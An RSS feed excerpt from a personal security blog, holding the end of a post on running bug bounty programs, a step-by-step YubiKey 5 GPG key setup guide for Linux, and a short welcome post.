<p>The second point I regard as common courtesy. The reporters / triagers are not your friends, and if they are, you are in a professional setting. Nobody expects a formal letter, but it is usually not appropriate with emojis, 1337 h4x0r terms, etc. either.<br>
<strong>Make your report easy to understand!</strong></p>
<p>For the third point, make it clear what is and isn&apos;t accepted. You are already giving reporters the benefit of the doubt. If you have explained why the report is not considered valid twice already, it is OK to say:</p>
<blockquote>
<p>Unless you can show further impact via PoC, we now consider this report closed.</p>
</blockquote>
<p>It clearly conveys what is expected and allows everyone involved to spend their time efficiently.</p>
<p><br>
It is hard to find the correct balance between enabling discussions and being firm. <strong>I usually live by <em>three time&apos;s and you&apos;re out!</em></strong> What I mean by that is, I will discuss the same issue at most 3 times:</p>
<ul>
<li>The first time I will explain in depth.</li>
<li>The second time I will clarify and explain in other words.</li>
<li>The third time I will clarify and end the discussion.</li>
</ul>
<p>It gives a nice balance between providing proper context while avoiding long arguments. As with all things, exceptions apply!</p>
<!--kg-card-end: markdown--><p></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/04/user-guide.jpg" class="kg-image" alt="Bug Bounty program Management: A different perspective" loading="lazy"><figcaption>Help reporters provide value!</figcaption></figure><!--kg-card-begin: markdown--><p>Another important aspect is encouraging members to <strong>give guidance to reporters submitting low quality reports</strong>. Someday, the reporter might come back after having learned more and find a critical bug.<br>
Don&apos;t just reply <code>Out Of Scope</code>, <code>No Impact</code> or <code>Invalid</code>!<br>
Describe why you consider it as such, so reporters learn how to contribute to your program. By explaining your evaluation, you can help them towards providing valuable reports. If they do not agree with your assessment, they can focus on programs that better align with their views, leading to less noise for your team.</p>
<p>This helps avoid the scenario where reporters keep submitting reports of no value to your program, wasting everyones time.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: html--><br>
<h4 id="cooperation">2.3 Cooperation</h4>
<br><!--kg-card-end: html--><!--kg-card-begin: markdown--><p>This is both the easiest and the hardest to achieve. Try to remember and understand that both sides <em>hopefully</em> have the same goal - to fix the issue! Keeping this in mind when interacting is important.<br>
Try to think of what it would be like if you were on the other side - regardless if you are the reporter or the triager.</p>
<p>It is frustrating to try to explain an issue to someone who does not understand. Especially after repeated attempts to do so. You are just trying to help!</p>
<p>On the other hand it is also frustrating to try to explain that your organization does not consider an issue valid. There is no point in arguing your report is valid if the triage team understands the issue and tells you otherwise. Typical examples are Google Maps API keys and Open Redirects with no further security impact.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/04/image-5.png" class="kg-image" alt="Bug Bounty program Management: A different perspective" loading="lazy"><figcaption>I often feel this is an accurate representation of the mindset of many bug bounty hunters - myself included!</figcaption></figure><!--kg-card-begin: markdown--><p>It is important - from both sides - to remember that reporters are sharing potential issues to an organization. The organization can then decide if they consider it an issue or not.<br>
Acting in good faith means that the organization should seek to reward those who contribute, but they are not obliged to do so. You volunteered to look for bugs in their service!</p>
<p>As reporters, it is important that we remember that we are not entitled to a reward! As triagers, it is important to keep in mind that a person spent their time trying to assist your company <em>(regardless of the quality of the report)</em>.</p>
<p>Instead of thinking of it as <em>us</em> and <em>them</em>, <em>reporters</em> and <em>triagers</em>, we are <strong>one team!</strong><br>
We work together towards providing safer services!</p>
<!--kg-card-end: markdown--><p></p><p>In closing I would like to clarify that this is the ideal image that I think programs should aim for. It is not realistic to expect perfection in every situation. Instead we should all look for continued improvement and learning.</p><!--kg-card-begin: html--><br>
<div href="#puppy"></div><!--kg-card-end: html--><p>If you got this far, thanks for reading! As thanks, here&apos;s a puppy picture!</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://www.robinlunde.com/blog/content/images/2020/04/LINE_P202013_215702_12_small.jpg" class="kg-image" alt="Bug Bounty program Management: A different perspective" loading="lazy"><figcaption>Storm says thank you for reading!</figcaption></figure><p>Cheers!</p><p></p><hr><p><strong>As promised here are the resources that discuss bug bounties from a technical approach:</strong></p><ul><li><a href="https://youtu.be/M2UMST83Xik"><strong>Coordinated Vulnerability Disclosure: You&#x2019;ve Come a Long Way, Baby</strong></a> - RSA - Katie Moussouris &amp; Chris Wysopal</li><li><a href="https://bugbountyguide.com"><strong>The Bug Bounty Guide</strong></a> - <a href="https://twitter.com/EdOverflow">EdOverflow</a></li><li><strong><a href="https://www.youtube.com/watch?v=fywFveRBOE4">Reported to Resolved: Bug Bounty Program Manager</a> </strong>- <a href="https://twitter.com/PascalSec">PascalSec</a> interviewed by <a href="https://twitter.com/InsiderPhD">InsiderPhd</a></li><li><a href="https://lcamtuf.blogspot.com/2018/03/setting-up-bug-bounties-for-success.html"><strong>Setting up bug bounties for success</strong></a><strong> - </strong><a href="https://twitter.com/lcamtuf">lcamtuf</a></li><li><strong><a href="https://engineering.shopify.com/blogs/engineering/sharing-the-philosophy-behind-shopifys-bug-bounty">Sharing the Philosophy Behind Shopify&apos;s Bug Bounty</a> - </strong><a href="https://engineering.shopify.com/">Shopify</a></li></ul>]]></content:encoded></item><item><title><![CDATA[YubiKey 5 Setup]]></title><description><![CDATA[A Yubikey 5 NFC+ Setup Guide. Walks you through key generation, setup and troubleshooting.]]></description><link>https://www.robinlunde.com/blog/yubikey-5-setup/</link><guid isPermaLink="false">5c6b470bf88eaa075578e981</guid><category><![CDATA[Computer Securtiy]]></category><dc:creator><![CDATA[Robin Lunde]]></dc:creator><pubDate>Sat, 02 Mar 2019 08:27:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1503792243040-7ce7f5f06085?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1503792243040-7ce7f5f06085?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" alt="YubiKey 5 Setup"><p>So, this is going to be a write-up for <a href="https://www.yubico.com/product/yubikey-5-nfc/">Yubikey 5</a>. I had some trouble setting it up and figured it would be nice to do a write-up. It is quite similar to the process with Yubikey 4, with minor changes. This guide will be using Ubuntu-based Linux, but the process should be similar on Mac. This guide is quite similar to <a href="https://github.com/drduh/YubiKey-Guide">this</a>, with minor differences because of having a newer Yubikey.</p><p>As a sidenote, if you want one, how about participating in the <a href="https://engineering.linecorp.com/en/blog/line-security-bug-bounty-program-report-2018/">LINE Bug Bounty program</a>? (Check out the SWAG section!)</p><p>NB: This was done with a<a href="https://www.yubico.com/product/yubikey-5-nfc/"> Yubikey 5 NFC+</a></p><!--kg-card-begin: markdown--><h1 id="part1preparation">Part 1 - Preparation</h1>
<h3 id="1installyubikeydependencies">1. Install YubiKey dependencies:</h3>
<ul>
<li><a href="https://developers.yubico.com/yubico-pam/">Link</a></li>
<li>I also had to add YubiKey-Manager, like this:<br>
<code>$ sudo apt-get install yubikey-manager</code></li>
</ul>
<h3 id="2setuppincodes">2. Set up pin codes.</h3>
<ul>
<li>I set up the codes for my key using GUI on windows.</li>
<li>There are also alternatives available for other operating systems.</li>
<li>You can find the software <a href="https://www.yubico.com/products/services-software/download/yubikey-manager/">here</a>.</li>
<li>For Windows, you can set the pin-codes here:</li>
</ul>
<p><img src="https://www.robinlunde.com/blog/content/images/2019/03/5.jpg" alt="YubiKey 5 Setup" loading="lazy"></p>
<p><img src="https://www.robinlunde.com/blog/content/images/2019/03/6.jpg" alt="YubiKey 5 Setup" loading="lazy"></p>
<p><img src="https://www.robinlunde.com/blog/content/images/2019/03/7.jpg" alt="YubiKey 5 Setup" loading="lazy"></p>
<ul>
<li>Default PIN is 123456, Default PUK is 12345678.</li>
<li>It can also be done from command line (Google is your friend!)</li>
</ul>
<h3 id="3generateasecurepasswordforyournewprivatekey">3. Generate a secure password for your new Private Key.</h3>
<ul>
<li><strong>NOTE:</strong> This key should be kept secret. <mark>Nobody except you should have access to this key</mark> and it should not be easy to get a hold of!</li>
<li>Generate it like this:<br>
<code>$ gpg2 --gen-random -a 0 24</code></li>
</ul>
<p><img src="https://www.robinlunde.com/blog/content/images/2019/03/_1.png" alt="YubiKey 5 Setup" loading="lazy"></p>
<ul>
<li>Preferrably keep it in a password-manager or on paper somewhere only you have access to.</li>
</ul>
<h3 id="4setsavinglocationtousb">4. Set saving location to USB</h3>
<ul>
<li>I assume you will be saving a backup on a USB device. If not, you still need a backup folder, so you should create a folder that will work as a backup. You will see why later, trust me!</li>
<li>I did this by using a symlink from my ~/.gnupg folder to my USB device, like this:</li>
</ul>
<ol>
<li>Rename original folder<br>
<code>mv .gnupg .gnupg_orig</code></li>
<li>Create symlink<br>
<code>ln -s [USBLOCATION] .gnupg</code><br>
Mine looked like this on Linux Mint:<br>
<code>ln -s /media/robin/usb .gnupg</code><br>
(You can find the path of your USB device by following this <a href="https://docs.kali.org/faq/how-do-i-tell-what-drive-path-my-usb-drive-is-on">Guide</a>)</li>
</ol>
<h3 id="5generatetheprivatekey">5. Generate the private key</h3>
<p><strong>NOTE:</strong> For newer Yubikey (Yubikey 4 or higher, I believe), gpg2 is <strong>required!</strong><br>
<strong>NOTE</strong>: When generating keys, you have to supply a passphrase for the generated key, as illustrated here:</p>
<p><img src="https://www.robinlunde.com/blog/content/images/2019/03/_2.png" alt="YubiKey 5 Setup" loading="lazy"></p>
<ul>
<li><code>$ gpg2 --expert --full-gen-key</code>
<ul>
<li>Select option 8</li>
<li>Turn off encryption functionality (E)</li>
<li>Turn on signature functionality (S)</li>
<li>Continue (Q)</li>
<li>Select key size (4096)</li>
<li>Set no expiry date (0)</li>
<li>Create key (y)</li>
<li>Confirm (o)</li>
<li>Enter key phrase as generated in step 3.</li>
</ul>
</li>
</ul>
<p><img src="https://www.robinlunde.com/blog/content/images/2019/03/1.jpg" alt="YubiKey 5 Setup" loading="lazy"></p>
<ul>
<li>If you also run in to some errors like this <code>gpg: can&apos;t connect to the agent: IPC connect call failed</code>, you are not alone!</li>
<li>Code for fixing the issue:<br>
<code>$ pkill -9 gpg-agent</code><br>
<code>$ printf &apos;%%Assuan%%\nsocket=/dev/shm/S.gpg-agent\n&apos; &gt; ~/.gnupg/S.gpg-agent</code><br>
<code>$ source &lt;(gpg-agent --daemon)</code></li>
</ul>
<p>(See <a href="https://michaelheap.com/gpg-cant-connect-to-the-agent-ipc-connect-call-failed/">Link1</a> and <a href="https://stackoverflow.com/questions/46673717/gpg-cant-connect-to-the-agent-ipc-connect-call-failed/47056403#47056403">Link2</a> for more details)</p>
<h3 id="6setavariablethatstorestheidofthegeneratedkeyforyourownsanity">6. Set a variable that stores the ID of the generated key, for your own sanity</h3>
<ul>
<li><code>$ export KEYID=xxxxxxxx</code></li>
<li>The ID of the key is shown here:</li>
</ul>
<p><img src="https://www.robinlunde.com/blog/content/images/2019/03/_3.png" alt="YubiKey 5 Setup" loading="lazy"></p>
<h3 id="7part1completegoodjob">7. Part 1 = Complete! Good job!</h3>
<!--kg-card-end: markdown--><p></p><!--kg-card-begin: markdown--><h1 id="part2generatethekeysfortheyubikey">Part 2 - Generate the keys for the Yubikey</h1>
<h3 id="1generatekeys">1. Generate keys</h3>
<p><strong>NOTE:</strong><br>
When you generate keys, you have to provide a passphrase for the new key, as shown in the image provided in Part 1 - Section 5.<br>
You also need to provide the passphrase for the private key (as generated in part 1), as illustrated here:</p>
<p><img src="https://www.robinlunde.com/blog/content/images/2019/03/_4.png" alt="YubiKey 5 Setup" loading="lazy"></p>
<h6 id="11beginwithexecutingthiscommandtogeneratesubkeysbasedontheprivatekeygeneratedinpart1">1.1 Begin with executing this command, to generate sub-keys based on the private key generated in Part 1.</h6>
<p><code>$ gpg2 --expert --edit-key $KEYID</code></p>
<h6 id="12createasigningkey">1.2 Create a signing key:</h6>
<ul>
<li><code>$ addkey</code>
<ul>
<li>Select RSA Sign Only (4)</li>
<li>Select 4096 bits key size (4096)</li>
<li>Select how long the key should be valid for (1y)</li>
<li>Confirm correct choice (y)</li>
<li>Confirm key creation (y)</li>
</ul>
</li>
</ul>
<p><img src="https://www.robinlunde.com/blog/content/images/2019/03/2.jpg" alt="YubiKey 5 Setup" loading="lazy"></p>
<h6 id="13repeatthesameprocedurebutcreateanencryptionkeyinstead">1.3 Repeat the same procedure, but create an encryption key instead.</h6>
<ul>
<li><code>$ addkey</code>
<ul>
<li>Select RSA Encrypt Only (6)</li>
<li>Select 4096 bits key size (4096)</li>
<li>Select how long the key should be valid for (1y)</li>
<li>Confirm correct choice (y)</li>
<li>Confirm key creation (y)</li>
</ul>
</li>
</ul>
<p><img src="https://www.robinlunde.com/blog/content/images/2019/03/3.jpg" alt="YubiKey 5 Setup" loading="lazy"></p>
<h6 id="14repeatoncemorethistimecreatinganauthenticationkeythisisthelastone">1.4 Repeat once more, this time creating an authentication key. This is the last one!</h6>
<ul>
<li><code>$ addkey</code>
<ul>
<li>Select RSA (Set your own capabilities) (8)</li>
<li>Disable signing capability (S)</li>
<li>Disable encryption capabilities (E)</li>
<li>Enable authentication capabilities (A)</li>
<li>Finish (Q)</li>
<li>Select 4096 bits key size (4096)</li>
<li>Select how long the key should be valid for (1y)</li>
<li>Confirm correct choice (y)</li>
<li>Confirm key creation (y)</li>
</ul>
</li>
</ul>
<p><img src="https://www.robinlunde.com/blog/content/images/2019/03/4.jpg" alt="YubiKey 5 Setup" loading="lazy"></p>
<h6 id="15save">1.5 SAVE!!!!!!!!</h6>
<p><code>$ save</code></p>
<h3 id="2verifythatyourkeysaresaved">2. Verify that your keys are saved.</h3>
<ul>
<li><code>$ gpg2 --list-secret-keys</code></li>
</ul>
<p><img src="https://www.robinlunde.com/blog/content/images/2019/03/_5.png" alt="YubiKey 5 Setup" loading="lazy"></p>
<h3 id="3allgoodgoodmakeacopyofallthecreatedkeys">3. All good? Good! Make a copy of all the created keys!</h3>
<ul>
<li>
<p>Export the master sub key<br>
<code>$ gpg2 --armor --export-secret-keys $KEYID &gt; master_sub.key</code></p>
</li>
<li>
<p>Export all sub keys<br>
<code>$ gpg2 --armor --export-secret-subkeys $KEYID &gt; sub_keys.key</code></p>
</li>
<li>
<p><strong>NOTE:</strong> These commands export the keys to the current directory! Change the path after &quot;&gt;&quot; to where you want to store them. As an example, for the first command I used:<br>
<code>$ gpg2 --armor --export-secret-keys $KEYID &gt; /media/robin/usb/master_sub.key</code></p>
</li>
</ul>
<h3 id="4backupkeys">4. BACKUP KEYS!</h3>
<ul>
<li>Make sure you copy the keys to <strong>at least</strong> one other location. When moving the keys to the Yubikey, they will be removed from the original stored location. (The operation is <mark>destructive</mark> .)</li>
<li>If you did it like me and followed the instructions in Part 1 - Section 4, this is as easy as renaming the symlink we created and copying the USB contents to the original .gnupg folder.</li>
<li><code>$ mv ~/.gnupg ~/.gnupg_usb</code> - Rename symlink folder</li>
<li><code>$ mv ~/.gnupg_orig ~/.gnupg</code> - Restore original folder</li>
<li><code>$ cp -r [USBLOCATION] ~/.gnupg</code> - Copy contents on the USB to the original .gnupg folder. [USBLOCATION] should be the same as in Part 1 - Step 4</li>
</ul>
<p><strong>NOTE:</strong> This assumes you have no pre-existing GPG-keys. If you do, please move them to another folder before doing this operation.</p>
<ul>
<li>
<p>I also recommend storing other sensitive data that you may forget on the USB before removing it. Things like passwords, pins, etc. I stored these in a simple text file named something like IMPORTANT.txt This is OK, since we intend to keep this USB stored in a safe location.</p>
</li>
<li>
<p>If you are worried about it being insecure, you can encrypt the USB, use a different USB for storing the important information, or write it down with pen &amp; paper. For encryption advice, see <a href="https://github.com/drduh/YubiKey-Guide#backup-keys">this link.</a></p>
</li>
</ul>
<h3 id="5removeusbandstoreinasafeplace">5. Remove USB and store in a safe place!</h3>
<!--kg-card-end: markdown--><p></p><!--kg-card-begin: markdown--><h1 id="part3transferkeystodevice">Part 3 - Transfer keys to device</h1>
<p><strong>NOTE:</strong> This following section is the same as in <a href="https://github.com/drduh/YubiKey-Guide">drduh&apos;s guide</a>. As such, I have included the commands here, but if you want to see example output, please follow the added links.<br>
<mark><strong>WARNING:</strong></mark><br>
This operation is destructive!If you do not have a backup, your keys will be moved to the Yubikey and removed locally. Keys cannot be extracted from the Yubikey!</p>
<h3 id="1setyubikeyinformation">1. Set Yubikey information</h3>
<p><code>$ gpg2 --card-edit</code><br>
<code>$ admin</code> - Activate admin role<br>
<code>$ name</code> - Set owner name<br>
<code>$ lang</code> - Set preferred language<br>
<code>$ login</code> - Set login credentials (e-mail etc.)<br>
<code>$ quit </code> - Finished!</p>
<p><a href="https://github.com/drduh/YubiKey-Guide#set-information">Example output</a></p>
<h3 id="2movekeys">2. Move keys</h3>
<h6 id="21enableeditingkey">2.1 Enable editing key</h6>
<p><code>$ gpg2 --edit-key $KEYID</code></p>
<p><a href="https://github.com/drduh/YubiKey-Guide#set-information">Example output for 2.1</a></p>
<h6 id="22selectandmovekey1signingkey">2.2 Select and move key 1 (Signing key)</h6>
<p><code>$ key 1</code><br>
<code>$ keytocard</code></p>
<p><a href="https://github.com/drduh/YubiKey-Guide#signing-1">Example output for 2.2</a></p>
<h6 id="23deselectthetransferredkeyandselectthenextonetotransfer">2.3 Deselect the transferred key and select the next one to transfer</h6>
<p><code>$ key 1</code><br>
<code>$ key 2</code><br>
<code>$ keytocard</code></p>
<p><a href="https://github.com/drduh/YubiKey-Guide#encryption-1">Example output for 2.3</a></p>
<h6 id="24repeatasabovebutwith2and3respectivelyinsteadof1and2">2.4 Repeat as above, but with 2 and 3 respectively, instead of 1 and 2.</h6>
<p><code>$ key 2</code><br>
<code>$ key 3</code><br>
<code>$ keytocard</code></p>
<h6 id="25savethetransferredkeystotheyubikey">2.5 Save the transferred keys to the Yubikey</h6>
<p><code>$ save</code></p>
<p><a href="https://github.com/drduh/YubiKey-Guide#authentication-1">Example output for 2.4 &amp; 2.5</a></p>
<h6 id="26storepublickeyondisk">2.6 Store public key on disk</h6>
<p><code>$ gpg2 --armor --export $KEYID &gt; pubkey.txt</code> (Stores pubkey.txt in current folder)</p>
<h6 id="27optionaluploadpublickeytoakeyserver">2.7 <mark>OPTIONAL</mark> Upload public key to a key server</h6>
<p><code>$ gpg2 --send-key $KEYID</code><br>
<code>$ gpg2 --keyserver pgp.mit.edu --send-key $KEYID</code><br>
<code>$ gpg2 --keyserver keys.gnupg.net --send-key $KEYID</code><br>
<a href="https://github.com/drduh/YubiKey-Guide#export-public-key">Example output for 2.6 &amp; 2.7</a></p>
<h3 id="3cleanup">3. Cleanup</h3>
<ul>
<li>Remove .gnupg folder<br>
<code>sudo rm -r .gnupg</code></li>
</ul>
<!--kg-card-end: markdown--><p></p><!--kg-card-begin: markdown--><h1 id="part4finalpoints">Part 4 - Final points</h1>
<ul>
<li>
<p>The pubkey.txt file is needed for actually using the Yubikey later on, so keep it somewhere easily available. It is not sensitive, so anywhere is OK.</p>
</li>
<li>
<p>I plan to write a follow-up post on how to use the Yubikey with SSH, once I get the time to do so, so please check that out once it is available !</p>
</li>
<li>
<p>This guide was only possible thanks to the following resources. All credit to the respective creators and contributors!</p>
</li>
<li>
<p>Please ask if you have any issues or questions!</p>
</li>
</ul>
<h2 id="references">References:</h2>
<ul>
<li><a href="https://michaelheap.com/gpg-cant-connect-to-the-agent-ipc-connect-call-failed/">https://michaelheap.com/gpg-cant-connect-to-the-agent-ipc-connect-call-failed/</a></li>
<li><a href="https://stackoverflow.com/questions/46673717/gpg-cant-connect-to-the-agent-ipc-connect-call-failed/47056403#47056403">https://stackoverflow.com/questions/46673717/gpg-cant-connect-to-the-agent-ipc-connect-call-failed/47056403#47056403</a></li>
<li><a href="https://github.com/drduh/YubiKey-Guide">https://github.com/drduh/YubiKey-Guide</a></li>
<li><a href="https://www.esev.com/blog/post/2015-01-pgp-ssh-key-on-yubikey-neo">https://www.esev.com/blog/post/2015-01-pgp-ssh-key-on-yubikey-neo</a></li>
<li><a href="https://docs.kali.org/faq/how-do-i-tell-what-drive-path-my-usb-drive-is-on">https://docs.kali.org/faq/how-do-i-tell-what-drive-path-my-usb-drive-is-on</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Welcome]]></title><description><![CDATA[As you may already know my name is Robin Lunde. I just finished my Master's degree, and now I am working for LINE]]></description><link>https://www.robinlunde.com/blog/welcome/</link><guid isPermaLink="false">5bc0b11d718463307cc012f8</guid><category><![CDATA[General]]></category><dc:creator><![CDATA[Robin Lunde]]></dc:creator><pubDate>Fri, 12 Oct 2018 14:50:58 GMT</pubDate><media:content url="https://www.robinlunde.com/blog/content/images/2018/10/CodeBoy.jpg" medium="image"/><content:encoded><![CDATA[<h2 id="welcome-to-robin-s-random-rants-">Welcome to Robin&apos;s random rants!</h2><img src="https://www.robinlunde.com/blog/content/images/2018/10/CodeBoy.jpg" alt="Welcome"><p></p><p>As you may already know my name is Robin Lunde. I just finished my Master&apos;s degree, and now I am working for <a href="https://line.me/en/">LINE</a> (Check it out - <a href="https://play.google.com/store/apps/details?id=jp.naver.line.android">Play store</a>, <a href="https://itunes.apple.com/us/app/line/id443904275?mt=8">App store</a>).</p><p>This web-page is 50% for the sake of me testing technology, trying out new things and getting practical experience. The other 50% is for me to share some of the things I learn at work and in life in general, in case anyone is interested.</p><p>Unfortunately, I am quite busy these days starting my new job, but hopefully the content will be coming soon. Until then, feel free to explore my web-page or send me a message.</p><p>Finally, the picture in this post is an edit from when I was doing my Master&apos;s and accurately portrays what it feels like when I get into the programming and lose track of everything around me (I doubt I am alone in this!).</p><p>Thanks for reading, until next time!</p><p>Robin</p>]]></content:encoded></item></channel></rss>